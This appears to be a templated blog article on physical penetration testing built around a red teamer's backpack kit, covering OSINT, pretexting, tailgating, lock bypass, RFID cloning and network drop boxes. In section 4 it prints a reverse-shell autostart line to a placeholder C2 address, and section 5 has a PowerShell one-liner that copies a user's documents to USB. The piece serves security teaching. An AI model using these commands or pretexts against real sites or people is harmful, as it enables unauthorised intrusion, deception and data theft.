Introduction:
In the world of cybersecurity, the most sophisticated digital attacks often begin with a simple physical breach. The gear a professional carries is a curated toolkit, each item serving a strategic purpose in assessing an organization’s human and physical security layers. This article deconstructs the operational mindset behind a red teamer’s everyday carry (EDC), translating a trusted backpack into a blueprint for understanding and executing physical security assessments.
Learning Objectives:
- Understand the critical role of physical penetration testing in a holistic security program.
- Identify and utilize the core tools and techniques for reconnaissance, access, and exploitation in a physical context.
- Learn basic command-line and hardware techniques for establishing a foothold from a physical breach.

The backpack is packed long before the test begins, during the planning phase. This involves open-source intelligence (OSINT) gathering to understand the target’s location, employee routines, security personnel shifts, and access control systems.
Step‑by‑step guide explaining what this does and how to use it.
Tool Selection: Use tools like `theHarvester` to gather employee emails and names from the target domain.

Mapping and Timing: Utilize satellite imagery (Google Earth) and observational visits to map entry points, camera locations, and peak traffic times. No digital command replaces boots-on-the-ground timing of door holds.
Cover Story Development: Based on OSINT, develop a believable cover story and appropriate attire (e.g., vendor, IT support, new hire).
2. Social Engineering Arsenal: The Human Firewall Exploit
Your most powerful tools aren’t in the bag; they’re your ability to influence. The professional demeanor and prepared story are key.
Step‑by‑step guide explaining what this does and how to use it.
Pretexting: Use the gathered information to build rapport. “Hi, I’m here for the scheduled server maintenance for John in Finance. He said to ask for you if the front desk couldn’t find the work order?”
Tool-Assisted Phishing (Hybrid Attacks): Carry prepared “vendor” USB drives or badges. A tool like the Social-Engineer Toolkit (SET) can generate malicious payloads for dropped USB drives.

Tailgating/Piggybacking: Simply and confidently walking in behind an authorized person, often while engaged on a phone call or carrying boxes.
3. Lock Bypass and Physical Access Tools
A quality backpack like the 5.11 Rush series has dedicated, discreet compartments for access tools.
Step‑by‑step guide explaining what this does and how to use it.
Basic Lockpicking: Carry a set of torsion wrenches and picks for simple pin-tumbler locks. Practice is mandatory.
Under-Door Tools: Wire hooks and air wedges can bypass many interior doors by manipulating the inside lever.
RFID Cloning/Simulation: Tools like the Proxmark3 RDV4 can clone low-frequency HID Prox cards observed in use.

4. Network Infiltration Pivoting from Physical Access
Once inside, the goal is to establish a digital foothold. The backpack carries the hardware for this pivot.
Step‑by‑step guide explaining what this does and how to use it.
Drop Box Deployment: A small, concealable device like a Raspberry Pi configured to beacon out. Pre-configure it with SSH keys and a reverse shell payload.
Example autostart script on a Raspberry Pi (in /etc/rc.local) bash -i >& /dev/tcp/YOUR_C2_IP/443 0>&1 &
Network Tap: A compact LAN turtle or packet squirrel can be quickly plugged in-line to an Ethernet cable to capture traffic or provide remote access.
Wi-Fi Assessment: Use a phone or small laptop with a wireless adapter capable of monitor mode to quickly scan for internal wireless networks and client probes (sudo iwconfig wlan0 mode monitor).
5. Covert Documentation and Exfiltration
Evidence gathering is critical for the final report.
Step‑by‑step guide explaining what this does and how to use it.
Covert Photography: Use a phone or pen camera. Disable shutter sounds and flash.
Data Grabs: If access to an unlocked workstation is achieved, quickly run a command to copy recent documents or browser history. On Windows, you could use a prepared USB with a PowerShell one-liner.
Example: Copy recent documents to removable drive (E:) Copy-Item "$env:USERPROFILE\Documents\" -Destination "E:\Exfil\" -Recurse -Force
Exfil Path Testing: Attempt to walk out with a simulated asset (a labeled box or folder) to test response.
6. Clean Exit and Evidence Preservation
A professional test requires a clear end-state without causing alarm or damage.
Step‑by‑step guide explaining what this does and how to use it.
Leave No Trace: Return any moved items. Do not lockpick any lock that cannot be reliably re-locked. Wipe fingerprints from tools and surfaces.
Data Handling: All captured data (photos, network packets) must be encrypted and stored securely for analysis and the final report.
Encrypt a captured data folder with GPG tar czf data_capture.tar.gz ./captured_data/ && gpg -c --cipher-algo AES256 data_capture.tar.gz
Debrief Coordination: Have a clear protocol for signaling test conclusion to the client point of contact to prevent security or law enforcement escalation.
What Undercode Say:
- The Bag is a Mindset: The specific backpack model is less important than what its organization represents: intentionality, preparedness, and operational security. Every item has a purpose, and there is no dead weight.
- Physical Precedes Digital: The most impenetrable cloud architecture can be compromised by a single tailgated entry into a server room or an unattended workstation. Security training must emphasize that physical space is part of the attack surface.
Analysis: The original post is a subtle signal to the community—a shared understanding that operational success hinges on reliable, purpose-driven gear. This extends beyond brand loyalty into a philosophy of preparation. In an era of AI-driven cyber attacks, the human element of physical security remains a critical vulnerability. Red teamers like Bjørkhaug highlight that technology alone cannot secure an organization; it requires constant testing of human processes and physical barriers. The “EDC” is therefore a literal and metaphorical toolkit for probing the weakest link in the security chain: the intersection of people, policy, and place.
Prediction:
The future of physical penetration testing will see greater convergence with IoT and OT (Operational Technology) exploitation. Red teamers will routinely carry not just lockpicks, but specialized radio (SDR) gear to hack Bluetooth door locks, building management systems, and industrial controllers. AI will assist in planning phases by analyzing vast OSINT datasets to predict guard patrol patterns or optimal breach times, but the execution will remain a hands-on, human-driven activity. As defenses become more aware of traditional social engineering, we will see a rise in “vishing-as-a-service” and deepfake audio attacks used to coordinate physical access, making the red teamer’s role in identifying these novel attack vectors more crucial than ever.
